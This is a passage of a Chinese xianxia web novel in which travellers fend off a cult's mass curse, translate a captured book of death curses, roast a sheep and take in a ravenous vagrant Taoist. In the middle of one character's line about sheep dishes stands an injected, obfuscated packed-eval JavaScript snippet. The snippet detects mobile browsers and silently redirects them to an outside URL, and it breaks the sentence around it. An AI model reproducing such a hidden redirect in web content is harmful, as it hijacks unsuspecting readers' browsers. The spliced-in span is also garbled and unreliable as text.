那帮人根本不理会她,反而念得更起劲了。六幺感觉手里的剑十分沉重,身体好像不听使唤了。宋胡缨的身体变得虚弱无力,竟然连斩马/刀都拿不起来,只能把它拄在了地上。一个巫师的诅咒他们或许能够抵御,然而对面来了这么多人,诅咒的能量被放大了几十倍,一般人根本承受不住。 段星河感到一阵窒息,眼前出现了幻觉。篝火不住跳动,那些人影重重叠叠的,到处都是扭曲的面庞和蠕动的大嘴,让他难以分清幻觉和现实。 他终于明白这妖女为什么要带这么多巫师来了。这些人来不是为了动手打架,而是要活活地咒死他们! 那诅咒的邪性极大,就像是地狱霍然在面前裂开了一道大口子,里面充斥着哀嚎、刀山火海,以及让人毛骨悚然的一切东西。不光人受不了,小对眼也难受的满地打滚。墨墨身上的灵性重,被诅咒起来更加痛苦,此时缩成了一团,已经口吐白沫了。 结香忍着自己的疼痛,把墨墨抱在怀里,想要保护它。那些诅咒十分歹毒,不但耳朵听不得,眼睛也看不得,而且无孔不入。就算堵住了耳朵和眼睛,也会从身上的三万六千个毛孔里钻进去,就像千万根针扎在身上一样,根本阻挡不了。 段星河勉强支撑着身体,眼里布满了血丝,盯着她道:“你这个妖女,有本事来跟我堂堂正正地打一场,别搞这些旁门左道的东西!” 张夜来十分得意,傲然道:“这可不是什么旁门左道,这叫满月赐福,是拜月教的独门绝技,没人能在咱们面前撑得过一炷香的功夫。你们不是很厉害么,那就看看——你们到底能忍多久!” 90.饿道人 一 “嗡——嗡嗡嗡——” 那些巫师不住念着咒,众人感觉极其痛苦。精神上的攻击跟肉身上的攻击相比,也毫不逊色。大家宁可挨上他们几拳,也不愿意受这种折磨。 段星河感觉体内的煞气苏醒了,血液开始沸腾。他竭力想控制自己,一旦被煞气控制,他也不知道自己会做出什么事来。若是能把这些人赶走还好,怕只怕自己失去了理智,会伤害到身边的这些伙伴。 他咬紧了牙关,可除了爆发出煞气之外,也没有更好的办法对付对方。就在这时候,他感觉意识一阵清明,仿佛有一股水流缓缓淌过他全身,平息了他体内躁动的煞气。 意识中有人对他道:“别动煞气,让我来——” 是火花心念咒,他回过头去,见步云邪闭着双眼,发丝和衣袍在风中不住飘动。他周身涌动着一股碧蓝色的水流,那股灵力流转着,保护着周围的人。在这么强烈的逆境中,他以一己之力对抗着对面几十个巫师,意志之顽强,灵力之清纯强大,简直令人叹为观止。 不愧是传了九代的祭司,力量绝非一般人能比。魏小雨身上的疼痛没那么厉害了,激动道:“二师兄,你太厉害了!” 步云邪全神贯注与对面抗衡,对外界的事不闻不问。李玉真也加入进来,以手指凌空画符,喃喃道:“一点在符中,云雨须臾至。清心宁神,涤荡污秽,去——” 他向前一拍,金色的符咒融入了半空中。众人一时间没见有任何反应,还觉得奇怪,忽听哗的一声,一道水流骤然从半空生出来,如一条奔腾的大江朝对面汹涌而去。 对面的巫师还没反应过来,已然被大水扑倒了。一群黑袍人被打的东倒西歪,像落汤鸡一般。六幺身上恢复了力气,提起剑冲了过去,眨眼间便砍翻了好几个妖人。那些人惨叫着抱头鼠窜,他们虽然都带着兵刃,其实并不擅长跟人真刀真枪地打架,一旦动起手来便吃了亏。 宋胡缨也抡起了斩马/刀一顿横劈竖砍,把那些巫师打的哭爹喊娘。多亏步云邪控制住了局势,方才危急的情况一下子就掉转过来了。赵大海扛起盾牌大吼一声,朝人群撞了过去,那帮巫师刚从地上爬起来,又被撞的倒了一地。 段星河看向张夜来,眼中透出了戾气,阴沉的模样让人不寒而栗。张夜来竟有些怕他,后退一步道:“你别过来啊,我又没对你做什么,你这么看着我干什么!” 段星河刚才被咒的浑身上下没有一处不疼,看什么人都是三头六臂,精神都要被她搞崩溃了,她现在居然还睁着眼说瞎话。段星河提剑砍了过去,张夜来心知自己不是他的对手,拔腿就跑,一边竭力喊道:“快拦住他,把这个疯子拦住!” 几个巫师围了上来,就像蜂群护着女王似的,拼了命也要保护蜂后先逃走。段星河不跟他们留情,提剑把那些巫师砍倒了。他抬眼向四周望去时,张夜来早就不见踪影了。 他回过头去,见地上横七竖八的,倒着的都是拜月教的男人。他方才在乱阵中不慎被砍中了几剑,此时身上滴着血,手指不住痉挛。步云邪周身的灵力渐渐平息,睁开眼来,见段星河身上满是血,皱眉道:“受伤了,怎么这么不小心?” 段星河被煞气侵扰,身体有些不听使唤,反应便慢了一些。他道:“一点小伤,没事。” 李玉真眼看其他人都跑的差不多了,地上的人也都死透了。他道:“罪过罪过,你们作恶多端,若有来生,可千万别再做坏事了。” 他说着,一边在那些人身上翻找,想捡点战利品。伏顺猫着腰一溜小跑过来,专门翻人荷包,一边道:“你们听说过没有,打架的时候默念财神赵公明的名号,赢了捡到的钱翻倍,也不知道灵不灵。” 李玉真对钱不感兴趣,就想找点稀奇古怪的玩意儿。他道:“打架不专心你还想赢,小心输了给对面送钱哦。” 伏顺觉得他就是不信自己,一会儿功夫就摸到了好几块碎银子。他眉开眼笑,把钱装进了怀里,这时候就见一个人怀里鼓鼓囊囊的,好像装着什么东西。李玉真也走了过来,伸手抽了出来,道:“什么东西?” 那是一本薄薄的书,上头写着四个字,形状歪七扭八的。伏顺道:“锟斤拷口?” 这应该是夷州部落特有的文字,最原始的一批人久居在深山之中,很少跟外面的人打交道,有他们特有的一套文字和语言,也有一些荒蛮的习俗,比如说诅咒、活人祭祀之类的。 李玉真拿着书道:“谁认识,这写的是什么?” 其他人凑过来看了一眼,都不认得。葫芦扑棱棱地动弹了几下,人面疮道:“让我看看。” 伏顺道:“有什么好看的,都成萝卜了,还什么都好奇。” 那葫芦是两个瓢拼在一起的,中间用一根布条系住,勉强盛着它。司空玉看它挣扎的厉害,便打开了葫芦。人面疮望了一眼,果然如它所想的一般,是夷州部落的文字,道:“咒术辑录。” 李玉真十分诧异,道:“啊?” 人面疮道:“就叫咒术辑录啊,翻几页给我看看。” 李玉真把书哗哗地翻开了,人面疮看了片刻,忍不住打了个寒战道:“不得了,这玩意歹毒的很,全是咒杀的法子。烧了吧,一把火烧了最干净!” 李玉真道:“你看得懂么?” “能看懂一部分,”人面疮拿须子揉了揉眼道,“原来浩荡盟有个兄弟就是夷州人,我们俩住一个屋,他没事教过我一些。” 步云邪有了点兴趣,道:“能帮我们翻译一下么?” 人面疮道:“这玩意这么吓人,你们看这个干什么?” 步云邪的求知欲一向很强烈,三教九流无所不包,道:“知己知彼,百战不殆嘛。帮我翻译一下,我帮你换个宽敞舒服的新容器,每天都给你换新血,怎么样?” 人面疮在破葫芦里待得十分难受,这个条件对他来说很有诱惑力。他犹豫了一下,道:“好吧,反正也没几页。我教给了你,你们可别学坏啊。” 步云邪笑了,道:“我自己就是祭司,有分寸的。” 他回头看李玉真,道:“你想学么?” 李玉真的父亲是大新的国师,要是被老爹知道自己研究这些旁门左道,非被他打死不可。他摇了摇头,道:“算了吧,这玩意儿太邪性了,不适合我。” 这边说着话,赵大海从路上经过,忽然脚下一黏,踩在了一条触手上。他吓了一跳,连忙把脚抬了起来。那灯笼鱼的触手都已经脱离了身体,顶端的灯还在微弱地闪烁着。赵大海弯腰把它捡了起来,拿在手里晃了晃,触手软软地耷拉着,红光依然没有消失。 他道:“它怎么还能亮?” 司空玉刚才就觉得这东西有些蹊跷,过来端详了片刻,见触手的顶端有个小凸起。她沉吟道:“里头有东西。” 赵大海道:“什么?” 六幺也凑了过来,司空玉道:“弄开瞧瞧。” 六幺掏出一把匕首,把触手剖开来,里头咯棱一下掉出一块粉色的石头。那块石头散发着淡淡的灵光,刚才就是它在闪烁。众人觉得十分奇特,赵大海把石头捡了起来,诧异道:“啊……这个跟咱们之前捡到的那些石头好像是一样的。” 段星河接了过去,擦去了上面的黏液,见是一块粉色的碧玺,颜色尤其漂亮,质地也很清透。他之前就从不同的怪物身上得到过这种石头,有茶色的、绿色的、还有红色的,每一块都代表了一种罪孽。如今又多了一块,他道:“这代表什么意思?” 粉色象征着桃花,又像极了张夜来艳丽的衣裙,引得无数人飞蛾扑火。步云邪想起了那些女子的模样,沉吟道:“色孽。” 司空玉道:“既然你们收集了好几块了,那就一起拿着吧,说不定以后有用呢。” 段星河便收了起来,抬头看了一眼天空,东方已经微微发白了。李玉真拖来树枝把那些人的尸体盖住了,道:“质本洁来还洁去,你们一起做个伴,就当天葬了吧。” 众人收拾了行李,驾着大车继续往前走。到了下午,大家在路边停下来吃了点东西。段星河受了些小伤,调用了自身的元气修复伤口,此时有些疲惫。司空玉走过来道:“段大哥,你好点了吗?” 她穿着一身珠白色的衣裙,裹着一条浅金色的银杏叶花纹披肩,乌黑的头发垂在身后,显得素雅而又秀丽。 段星河打起精神道:“没事了。” 司空玉在他身边坐下了,依然觉得他脸色有点差。她从马车里就望见段星河的状态不太好,担心了他一路。她从怀里取出一瓶药,递过去道:“这是我从家里带出来的,叫三味甘露丹,能增补气血,你拿着吧。” 段星河领受了她的好意,道:“多谢司空姑娘。” 司空玉微微一笑,显得明丽动人。她道:“别这么客气,大家都是朋友嘛。” 段星河本来想着她和六幺只有两个人,跟自己这些人一起走也能互相照应。如今敌人接二连三来犯,司空玉他们跟着自己反而更加危险了。他想了一下,道:“司空姑娘,最近有不少人找我们的麻烦,我不想连累你。如果你觉得不方便的话,就跟六幺先走吧。” 司空玉一只手抱着膝盖,看着他道:“你觉得我帮不上忙吗,我打架不行,拖你后腿了是不是?” 她是故意以退为进,眼睛里却透着一股狡黠的光,嘴角带着一丝笑意,仿佛跟人开玩笑似的。段星河不想伤了她的心,道:“我不是这个意思,只是怕你跟着我会有危险。” 司空玉道:“有六幺在,还有你们,不会危险的。” 段星河觉得她把事情想得太简单了。昨天晚上如果不是步云邪稳住了局面,他也不知道会变成什么样子。司空玉却总是一副乐天的模样,觉得车到山前必有路,肯定不会遇到困难的。 她神秘兮兮地说:“我出生的时候,爹娘找李国师给我算了一卦,说我不但跟钱特别有缘,而且有神灵保佑。就跟巴蜀的熊猫儿似的,不管什么时候都能逢凶化吉。” 段星河笑了,觉得那就是父母的一个愿望,未必有这么灵验。司空玉却认真道:“我给你个沾我光的机会,以后走哪儿都带着我,我保你平安无事。” 段星河道:“哪有这种事……” “怎么没有,”司空玉道,“你听过阿斗的故事没。诸葛亮七进七出长坂坡都毫发无伤,就是因为他怀里抱着的吉祥物福星高照,命不该绝——” 段星河觉得有点不对劲,道:“那是赵云,白马银枪赵子龙嘛。” 司空玉眨了眨眼,道:“喔,我也是听李玉真说的,他跟宋姐姐讲故事,说你们外头有个朝代叫三国,出了好多大英雄。我还挺喜欢长坂坡那一段的,是赵云救的阿斗吗?” 李玉真本来在旁边偷听,见聊到自己这边来了,道:“是吧,我跟师父去外面的时候,从地摊上买的。后头还有三眼二郎神从昆仑下山,手持三尖两刃刀,帮姜子牙一统天下,有不少颠倒漏字的地方,读起来怪怪的……啊,我该不会买到假的了吧?” 段星河还是头一次听说三国是姜子牙统一的,司马一家半夜都得坐起来骂人。他揉了揉眉心道:“都从三国串到殷商去了,你觉得你买的是正本么?” 李玉真道:“差得很远吗?” 段星河伸开两只手,比了个夸张的距离,道:“也就差了这么远吧。” 李玉真一拍大腿,痛心疾首道:“我可是花了一钱银子呢。师父抠得很,我小时候根本没什么零花钱,他们怎么连小孩都骗!” “想开点吧,”段星河安慰道,“你花了一本的钱看了两本书,还有什么不满足的。” 他们聊着天,不知不觉间越扯越远了。司空玉笑呵呵地坐在旁边,很喜欢这种轻松的气氛。段星河道:“我接下来想去月亮山走一趟,你不是要去蜀山么?” 高大的月亮山就在前方不远处,青色的轮廓在薄雾中若隐若现。司空玉道:“月亮山也没有多远,去就去嘛,去蜀山又不急在这一两天。” 段星河一时间没说话,司空玉又道:“我就想到处走一走,多见识一些东西。跟你们遇见以来,我一直都过得很开心。” 李玉真道:“那可不,我也挺开心的。” 他转头看着段星河,道:“你呢?” 段星河点了点头,司空玉便笑了,站起来道:“那就说好了,别再赶我走了,要不然我可要生气了。” 她说着摆了摆手,去找宋胡缨了。六幺坐在不远处的一块石头上,手里拿着一张饼,半天也没吃多少,眼睛一直看着这边,对他们聊天的内容很在意。段星河跟他对视了一眼,六幺便面无表情地转开了眼,看向别处了。 众人往前走了一天,傍晚找了个地方扎营。段星河挎着剑在营地周围巡视了一圈,风里传来了簌簌的声音。他发现前头有一双角在树林间晃动,跟枯枝似的,不仔细看根本看不出来。六幺走了过来,道:“你干什么呢?” 他这段时间一直在暗地里跟段星河较劲儿,觉得自从认识了他们,县主就不怎么关注自己了。段星河不怎么想跟他争,猫下了腰,道:“嘘——” 六幺也看见了,眼睛登时一亮,轻声叹道:“这可是个大家伙啊。” 那头岩羊应该是生活在前头的山里的,不知道怎的来到了这里。它低着头,从地上寻找一些能吃的草叶,六幺已经抬起袖箭瞄准了它,嗖地一下射了过去。 岩羊嘶叫了一声,前腿被射伤了,转头就跑。段星河一跃上前,很快就追上了它。岩羊低下头还想顶他,段星河一把扭住了它的角,利索地割断了它的喉咙。岩羊倒在地上挣扎了一阵子,没了气息。 这头羊长得相当肥壮,够大家饱餐一顿的了。两人都挺兴奋,暂时放下了暗中较劲儿,拖着岩羊往营地去。 其他人已经点起了篝火,有的做饭,有的在发呆。步云邪坐在火边,手里拿着一只笔,往一个本子上写着什么东西。人面疮坐在一个瓢里,面前摊着那本咒术辑录,正在翻译里头的内容。 “咒人速死法,有生辰八字最好,前三柱亦可,没有效果减弱一半。取对方头发一根,指甲或鲜血少许,写下对方姓名和性别。口中默念古神名号,锟斤拷,侥拷硕攰繈濅……” 步云邪道:“等等,什么?” 人面疮用须子挠了挠头,道:“我也不知道是什么意思,你就按我念的声音记吧。跟邪神相关的很多东西都是不可名状的,以人类的概念解释不清楚。” 步云邪道:“好吧,你念。” 人面疮又念了一遍,发出的声音黏黏糊糊的,又透着一股阴森的气息,跟深渊里怪兽的低语似的。 步云邪找同音字记了下来,为了防止人面疮坑自己,他抽查了几个字,人面疮念得跟头一遍一样,他便放了心。 火光照在他们身上,烤的人暖融融的。人面疮伸出须子,费劲地把书翻到了最后一页,把解除诅咒的咒语念了出来。步云邪记完了,长舒了口气道:“好,辛苦了。” 他手里拿着一本薄薄的小册子,把拜月教的咒术都记了下来。这些咒术后面都有解除的办法,这样一来,他们就不会再受那些巫师的伤害了。 段星河和六幺抓着角,把岩羊拖了回来,大声道:“来看看,我们抓到什么了!” 众人回过头去,见了那么大一头羊,都震惊了。魏小雨兴奋得不得了,连蹦带跳道:“烤羊腿、羊肋排、炖羊肉,还有卤煮羊下水 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14081071|138533||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 、羊蹄子、羊脸!” 伏顺搓了搓手,道:“今天是什么好日子,居然运气这么好。” 李玉真道:“就是,这么大的羊,所有人都能敞开来吃了。” 赵大海把羊拖到水边,把它剖开来洗干净,光下水就盛了一桶,血也接了不少。结香和他一起把羊肉剁成几大块,架在火上烤着,香气一会儿就飘出来了。步云邪找了个皮酒囊,把羊血灌进去,又把人面疮塞了进去。 人面疮两根须子扒着口,似乎有话要说。步云邪道:“怎么啦?” 人面疮望着前头的月亮山,有点害怕,又有点不甘心。他道:“明天就要去镇子上了吗?” “是啊,”步云邪道,“前头有个路口,往西就有人烟了。我们先送你去驿站,然后就去夷州部落看看。” 人面疮犹豫了一下,道:“要不然……你们带我一起去月亮山吧。” 步云邪有点意外,道:“为什么,你不怕么?” 人面疮这些天想了很多,道:“我大师兄还被她们关着呢,他脾气耿直,肯定到现在也没有屈服。这次满月盛会,我怕那些妖人拿他当祭品。我得去救他,若是救不了……反正我这样也没什么好苟延残喘的,一起死了也好。” 它垂着头,实在可怜。步云邪却有些无情,淡淡道:“你现在这个样子,去了也帮不上什么忙。” 人面疮认真道:“我在那边住了一阵子,认得路,也知道一些事。你们就把我装在这个酒囊里,也不碍事。有危险我提点你们一下,总比什么都不知道的好吧?” 步云邪觉得带着它确实有点好处,不过要从那么多人牲里找到一个人,实在不容易。他道:“带你去也可以,但我们没办法保证一定能找到你师兄。” 人面疮也知道大师兄都未必能活到现在,说不定早就被扔到天池里喂鱼了。但只要还有一线希望,他就不想放弃,道:“去试试吧,找不到也不怪你们。我就是……不想再当胆小鬼了。” 这边说着话,火堆边传来一声欢呼,魏小雨道:“烤好了吗!” 羊肉外焦里嫩,散发着热腾腾的香气。段星河撒上了盐巴和孜然,道:“好了,来吃吧。” 众人都围了过去,十分兴奋。人面疮道:“说好了哦。” 步云邪嗯了一声,把它塞进了水囊里。段星河回头道:“快过来,等着你呢!” 他撕下了一大块羊排,递给了步云邪。羊排又嫩又香,滋味鲜美,在这样寒冷的冬夜让人生出了一阵幸福感。司空玉和六幺分到了另一扇羊肋排,其他人分着羊腿肉和身上的肉吃了,都很满足。 段星河吃了一大块羊肉,浑身舒畅。他割下了一大块烤肉,扔给了墨墨道:“昨天晚上你立功了,多吃点。” 墨墨也好久没吃这么好的东西了,两只耳朵竖着,显得特别兴奋。宋胡缨坐在火堆对面,撕了一块肉喂给她儿子,眼神里带着淡淡的笑意。 光吃肉肚子里发腻,赵大海从车上拿了块黑茶砖,撬下一点来熬了一锅茶汤,撒了一把红糖。段星河拿了几个面饼,两面涂上了羊油,撒上孜然,把饼烤的又软又香。 这时候前头有人摇摇晃晃地朝这边走来,身后背着一把剑,又背了个小包袱。那人生的瘦骨嶙峋的,身材比伏顺还干巴。 李玉真拿胳膊肘捣了捣段星河,道:“来了个人。” 段星河顿时警惕起来,生怕拜月教的人又来找他们麻烦。不过对面只有一个人,自己这边有这么多人,也不必怕他。那人走到附近,大约四十出头年纪,脸色蜡黄,颧骨高耸,瘦的皮包骨头。他穿着一件破旧的道袍,里头的棉花钻了出来,眼睛一直望着这边,好像是被火光吸引过来的。 他饥寒交迫,这里却弥漫着烤肉的香气和茶汤的味道,对他来说无异于一个迷路的人在沙漠里看见了海市蜃楼。他简直不敢相信前方的一切是真的,但还是靠着求生的本能朝这边走了过来。 段星河正要开口问他,那人腿一软,扑通一声倒在了地上。 众人吓了一跳,连忙上前看他的情形。魏小雨从地上捡起了一根树枝戳了戳他,道:“喂,还活着吗?” 那人哼了一声,喃喃道:“冷……我好冷啊。” 这人看起来很虚弱,大冷天的快要冻死了。段星河动了恻隐之心,把那人扛了起来,放在了火堆旁边。那人烤着火,蜷缩的身体渐渐舒展开来,脸上的表情也没有那么痛苦了。 他哑声道:“多谢……有水没有,我好渴。” 赵大海舀了一碗茶汤递给他,那人渴得厉害,嘴都干破了。他仰头喝了一碗茶,长舒了一口气,道:“谢谢,你们都是好人。” 段星河道:“举手之劳而已。兄台是哪里人,怎么大冷天的一个人在这里?” 那人缓缓坐了起来,道:“惭愧,我道号褴褛道人。教我修道的师父是个老乞丐,我一边讨饭,一边修行,到现在也没什么本事。方才我见这边有火光,就想过来暖和一下,多谢几位小兄弟收容。” 他虽然衣服上满是补丁,一张开嘴牙齿还挺白的,脖子和手指也很干净,是个讲究人。他说着话,眼睛盯着火堆上烤着的几个白面饼,吞了一下口水。 饼已经烤好了,涂了油的部分变得又脆又黄。段星河连忙拿下来,给其他人分了。他递给褴褛道人一块饼,连同一块烤羊肉一起给他,道:“道友若不嫌弃,就请用吧。” 那人道:“这怎么好意思……” 他这么说着,已经左右开弓,一口肉就着一口饼,狼吞虎咽的眨眼间就吃光了。魏小雨诧异地看着他,道:“大叔,你饿了多久了?” 褴褛道人有点不好意思,道:“我钱袋子在前头镇子里被人偷走了,到现在有三天没吃饭了。” 魏小雨同情地把自己的饼递给他,道:“我还没吃呢,要不你吃我这个。” 褴褛道人马上接了过去,道:“多谢小友,三清保佑你。” 他两三口把第二个饼吞了下去,被噎得伸直了脖子直捶胸口。赵大海又给他盛了一碗黑茶,褴褛道人一口气喝了个底朝天,打了个嗝,感觉自己终于活过来了。 他道:“感谢各位朋友,请问你们尊姓大名,在何处修行,我来日一定报答你们的相救之恩!” 段星河道:“不必客气,我叫段星河,是钦天监的人,跟朋友们游历至此。兄台怎么一个人来这里?” 褴褛道人的表情有点神秘,好像不方便说,犹豫了一下还是开了口。他道:“几位道友救了我的命,我也不好瞒着你们。从这里往北,有一座月亮山,是拜月教的地盘。那些人元月十五要举行满月盛会祭祀古神,据说还能登阶,我便想来看一看。” 段星河微微扬眉,没想到这人跟自己一样,也是要去凑热闹的。他道:“我听说过满月盛会的事。不过拜月教乃是邪派宗门,道友独自前去,不怕遇到危险么?” 褴褛道人微微一笑,道:“那些人茹毛饮血的,确实凶蛮得很。一般人若是去了,便是羊入虎口,不过我却不怕。” 段星河有些奇怪,道:“为什么?” 褴褛道人从怀里掏出一块白色的小牌子,已经有点发黄了,上头刻着几个奇怪的文字。火光照在上面,莫名透着一股阴森之气。他道:“我师父交游甚广,这是他的一个朋友送给他的,叫做骨符。只要拿着它,就能自由进出夷州部落的领地。” 魏小雨凑过来看了一眼,道:“这是牛骨做的吗?” 褴褛道人觉得小孩儿天真似的,咧嘴笑了,道:“当然不是,这是用人的头盖骨打磨成的。凡是被拜月教抓到的俘虏,做不成人面疮的,便把头砍下来,打磨成这种骨符,作为夷州部落的印信。” 91.饿道人 二 褴褛道人说着,脸上映着不住跳动的火光,显得阴森森的。 众人想起了人面疮悲惨的模样,又看着面前的骨符,十分同情那些被他们抓去的人。墨墨和小对眼蹲在不远处,警惕地看着这个陌生人。褴褛道人发现他们还养了猫,很感兴趣,伸出手来道:“啧啧啧,小宝贝,你叫什么名字。” 小对眼伸出了爪子,动作又准又狠,对着他的手挠了一下,顿时抓出了几道血檩子。褴褛道人嘶地一声收回了手,诧异道:“哦呦,这小家伙还挺凶的!” 宋胡缨一把将儿子薅了过去,对着它屁股打了一下,道:“没规矩,谁让你随便抓人的!” 她下手重的很,揍得砰的一声响,一听这孩子就是实心的。李玉真连忙道:“别别别,它不是故意的,可能就是怕生。” 小对眼还不服气,龇着牙朝褴褛道人哈气。宋胡缨还没见过儿子这么不听话,抬手又拍了它一下,道:“不服是吧,明天别吃饭了。” 小对眼委屈得要命,扭着身体从宋胡缨怀里钻了出去,一跃蹿到帐篷顶上窝着不动了。墨墨拍着翅膀飞过去,在它身边趴着,安慰似的拿鼻子蹭了蹭它。小对眼挪了一下,扭着头,显然还在生气。 褴褛道人这才注意到还有另外一只宠物,仔细一看还是一只灵貘,它长着一双翅膀,黑色的毛皮上带着白色的花纹,就像个圆圆的西瓜。他睁大了眼,叹道:“不得了,这小家伙可是极品啊,你们花多少钱买的?” 步云邪把墨墨当儿子,听他说买的便有点不高兴。他淡淡道:“是在野外遇上的,我们有缘分,它就跟着我们了。” 褴褛道人盯着墨墨,眼里满是赞叹,道:“哎呀,这不跟捡着金元宝似的,我怎么遇不上这么好的事呢。” 段星河没说什么,感觉这人三句话离不开钱,确实有点市侩。褴褛道人道:“这么好的灵兽,你们可要好好培养。它成年之后不但能当坐骑,还能呼风唤雨,是跟麒麟比肩的瑞兽啊!” 养了这么久,墨墨只有身上的肉长了一些,一直还没发育。步云邪不想给它压力,道:“随它开心就好了,现在这样也挺不错的。” 赵大海给每个人盛了一碗黑茶,大家捧着喝了,感觉身上暖乎乎的。褴褛道人道:“几位为什么来这里,难不成也对那满月盛会感兴趣?” 这时候来到月亮山附近的修道之人,多半都是被满月盛会吸引来的。段星河道:“不错,我们听说这边有登阶的仪式,便想来开开眼界。” 褴褛道人摩挲着手里的骨符,道:“拜月教的人查得很严,你们有进去的法子么?” 段星河本来以为去的人多,混一混就能进去了,没想到还这么麻烦。他道:“没有。” 褴褛道人便笑了,道:“要是几位不嫌弃,贫道带你们进去如何?” 段星河倒是有这个想法,只是不知道他要提什么条件,道:“需要我们做什么?” 褴褛道人把骨符揣了起来,道:“道友客气了。你们救了我一命,就当我报答你们这一饭之恩了……嗯,咱们要是一起走,这一路我还能多蹭你们几顿饭。你们吃的这么好,我一点也不亏。” 众人都笑了,赵大海道:“你运气好,今天大师兄打到了羊,平时我们也不都吃这么好的。” 褴褛道人道:“那说明咱们有缘,好得很、好得很。” 众人又聊了一会儿,天色不早了,伏顺和赵大海便从帐篷里腾了个地儿,跟褴褛道人一起休息了。当天夜里过得十分安稳,次日一早,赵大海打着呵欠起来做饭,褴褛道人还在睡觉。 其他人都起了,褴褛道人才从帐篷里钻了出来,幸亏没耽误吃饭。他端着碗坐在一块大石头上等着,赵大海把昨天晚上用盐巴腌的内脏洗干净,一大早就开始卤羊下水。这些肉坏的快,如果不赶紧用盐煮出来就要浪费了。 大家昨天晚上刚饱餐了一顿羊肉,早晨又有卤煮吃,感觉跟过年似的。魏小雨道:“咱们要是天天都能打到羊就好了。” 李玉真道:“偶尔吃一顿就行了,天天吃不腻么?” 魏小雨道:“吃好东西才不会腻呢,有多少我能吃多少。” 片刻赵大海把肉煮好了,捞出来切碎,有心有肝,还有切碎的羊脸肉。结香烙熟了一大摞白面饼,上头还撒了白芝麻,放在笸箩里随吃随拿。褴褛道人拿了两个饼,手里捧着个大海碗,里头的卤煮盛的都冒了尖儿。他埋着头呼噜呼噜一阵狂吃,跟饿了八百年似的。 伏顺看着他的吃相,低声道:“不要钱也悠着点儿啊,这么个吃法,不怕撑着了。” 赵大海碰了他一下,示意他别说风凉话。出门在外都不容易,为了一口吃的这么计较显得不敞亮。 赵大海给每个人盛了饭,锅里只剩下了一点汤汁和肉沫。他把锅撂在一边,打算等一会儿去洗。褴褛道人风卷残云地吃完了自己的那一大碗饭,又过去端起了大锅,把里面的汤也倒进了自己的碗里。他拿着白面饼在碗里蘸了一圈,把汤汁吸到了饼里,三两口把饼吃了下去。又伸出长长的舌头,把碗上的油脂也舔进了肚子里,心满意足地砸了咂嘴。 众人对他的吃相叹为观止,一时间没人敢动。伏顺面有菜色,道:“这……饿死鬼投胎么?” 赵大海也说不出话来,沉默地看着他。褴褛道人打了个嗝,发现大家都在看他,有点不好意思道:“啊,对不起,我好久没吃东西,实在是太饿了。” 李玉真打了个哈哈,道:“没事,天冷嘛,多吃点暖和。” 褴褛道人便放了心,道:“那什么,咱们中午吃什么?” 众人都有点无言以对,他刚吃了那么多东西,还没咽下去呢,这就开始惦记中午饭了。 赵大海道:“还有点没吃完的羊肉和羊杂,切碎了煮个羊汤。” 褴褛道人高兴起来,道:“有香菜么,辣子有没有?” 赵大海也有点受不了他了,沉默着没回答,起身刷锅去了。这人吃的又多,要求还不少,做人多少有点不自觉。魏小雨啃着一根羊蹄子,庆幸自己碗里多盛了点,要不然煮了这么一大锅自己就只能闻个味儿了。 段星河寻思着等去了月亮山,自己这些人就不必再跟他打交道了。反正就这一两天的时间,他就算再能吃,也不至于把他们吃破产,忍一忍算了。 他从碗里夹出一大块羊肝,放在墨墨的食盆里,道:“吃点肝,对眼睛有好处。” 墨墨的饭盆里有掰碎的面饼,还有羊肝和步云邪投喂的羊肚丝和羊头肉,吃的很满足。宋胡缨弄了一碗羊杂拌饭放在食盆里,到处转了一圈,却找不到她儿子上哪儿去了。 “小对眼——” 四下静悄悄的,没有任何回应。平常还没做好饭,小对眼就守着饭盆开始嗷嗷叫了,今天大家都快吃完了它还没露头。宋胡缨觉得有点奇怪,把食盆放下了,道:“它去哪儿了?” 段星河一大早就没见到它,转头看魏小雨,她没事总跟那两个崽子一起玩。他道:“你看见了么?” 魏小雨道:“没有啊,它怎么了。” 段星河也有点奇怪,司空玉寻思了片刻,道:“啊,它该不会挨了打生闷气,离家出走了吧?” 大家都沉默下来,觉得有这种可能性。小对眼虽然不太聪明的样子,但脾气很一根筋,受不得半点委屈。宋胡缨昨天打了它也有点后悔,它本来就是野生的兔狲,对陌生人警惕是很正常的,自己非要去扭曲它的天性,还罚它不准吃饭。小对眼也随它娘,不为一顿饭折腰,索性撒丫子自己跑了。 就算是动物也有自己的心事,会生气也会伤心。李玉真发现小对眼其实比自己想的聪明的多,看来以前是自己小瞧它了。 附近有好多拜月教的人,又有不少前来参加满月盛会的邪修,万一遇上了它就糟糕了。宋胡缨很是担忧,也吃不下饭了,转身急匆匆地走了。 李玉真跟了上去,道:“你干嘛去?” 宋胡缨道:“我去把它找回来。” 段星河想小对眼应该就是闹闹脾气,一会儿功夫自己就回来了。他看了墨墨一眼,道:“吃完了么?” 墨墨的饭盆已经吃空了,段星河拿了块布给它擦了擦嘴,道:“你帮着去找找小对眼吧。” 墨墨便拍着翅膀飞了起来,跟着宋胡缨他们走了。 路边有一个树林,里头生着些杨树和梧桐。宋胡缨在林子里走着,一边喊道:“小对眼——” 李玉真也喊道:“小对眼,上哪去了?” 墨墨在林子上空飞了一圈,下面的树枝密密麻麻的,小对眼又长的灰扑扑的,往犄角旮旯里一蹲,根本找不到它。墨墨拍着翅膀落了下去,跟在李玉真身边,一边耸着鼻子寻找它的气味。 宋胡缨道:“能闻到吗?” 墨墨一直扬着鼻子,好像能找到一点踪迹。它拍着翅膀飞在前面,转悠了一阵子,地上出现了几个梅花状的脚印。李玉真十分激动,指着泥地上的印子道:“是不是它?” 宋胡缨也不能确定,但心里鼓动着,希望就是它。墨墨仿佛闻到了味道,径自向上飞去,啾地一声叫。宋胡缨抬头望去,就见树杈上蹲着一只毛乎乎的兔狲,一只眼看天,一只眼看地,正是她的儿子。 